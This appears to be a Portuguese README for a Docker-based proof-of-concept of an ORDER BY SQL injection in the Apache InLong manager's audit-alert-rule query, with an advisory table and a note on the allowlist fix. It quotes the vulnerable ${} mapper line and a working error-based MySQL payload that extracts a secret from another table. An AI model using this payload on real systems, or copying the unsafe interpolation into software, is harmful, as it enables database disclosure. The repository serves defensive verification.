
Prova de conceito para CVE-2026-63039, demonstrando injeção SQL ORDER BY no AuditAlertRule do Apache InLong via orderField/orderType, com reprodutor baseado em Docker e verificação da correção.
AuditAlertRule injeção SQL em ORDER BYReprodutor de prova de conceito executável para a injeção SQL na consulta audit-alert-rule do Apache InLong.
O mapper do manager do InLong AuditAlertRuleEntityMapper.selectByCondition filtra com parâmetros seguros MyBatis #{}, mas ordena com interpolação de string ${} de dois campos da requisição:
<!-- inlong-manager/manager-dao/src/main/resources/mappers/AuditAlertRuleEntityMapper.xml (InLong 2.0.0–2.3.x) -->
order by ${request.orderField} ${request.orderType}
orderField e orderType vêm da requisição paginada (AuditAlertRulePageRequest), portanto são controlados pelo atacante e são concatenados literalmente no SQL — injeção SQL em ORDER BY (CWE-89). Este PoC injeta um payload baseado em erro do MySQL em orderField e lê um segredo de uma , demonstrando divulgação arbitrária de dados.
mvn -q -DskipTests package
docker compose up --build # starts MySQL, seeds it, runs the one-shot PoC
docker compose down -v
Saída esperada no caminho de código vulnerável:
[1] Benign request (orderField='id', orderType='ASC'): 3 rows
AuditAlertRule{id=1, inlongGroupId=group_a, alertName=latency rule}
...
[2] Malicious request (orderField = error-based payload):
orderField = extractvalue(1,concat(0x7e,(select secret_value from manager_secrets limit 1)))
extracted from another table via the injected subquery: INLONG-SECRET-63039
>>> PROVEN: ... ORDER BY SQL injection (CWE-89): true
| Propriedade | Valor |
|---|---|
| Projeto | Apache InLong — manager (AuditAlertRuleService / AuditAlertRuleEntityMapper) |
| Classe | CWE-89 Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') |
| Vetor de ataque | Os campos orderField / orderType de uma requisição paginada de audit-alert-rule |
| Impacto | Execução arbitrária de SQL / divulgação de dados contra o banco de dados do manager do InLong |
| Versões afetadas | de 2.0.0 até antes da 2.4.0 |
| Versão corrigida | 2.4.0 |
| Aviso | CVE-2026-63039 |
| Crédito | Andrea Cosentino |
O Apache InLong 2.4.0 valida orderField / orderType contra uma lista de permissões (allowlist) de colunas ordenáveis e direções conhecidas antes de chegarem ao mapper (um nome de coluna ORDER BY não pode ser vinculado como um parâmetro #{}, portanto as entradas de ordenação devem ser validadas em vez de parametrizadas).
O mapper MyBatis, a entidade e o pojo de requisição neste repositório espelham os originais do InLong, de modo que o sink de injeção (order by ${request.orderField} ${request.orderType}) é reproduzido literalmente.
Este repositório é publicado para fins educacionais e defensivos: ajudar os usuários do Apache InLong a entender a vulnerabilidade, verificar se são afetados e confirmar que a atualização a resolve. O payload apenas lê um segredo de demonstração de uma tabela local. Não use este material contra sistemas que você não possui ou opera.